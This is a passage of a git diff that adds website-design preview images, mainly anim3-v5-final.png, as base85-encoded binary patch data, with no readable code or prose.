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 Lovl87^}qiI#DL;t literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v5-final.png b/website-design/previews/anim3-v5-final.png new file mode 100644 index 0000000000000000000000000000000000000000..d03e919c8ecc72b0eedf86c589327a9dd39fd121 GIT binary patch literal 20670 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 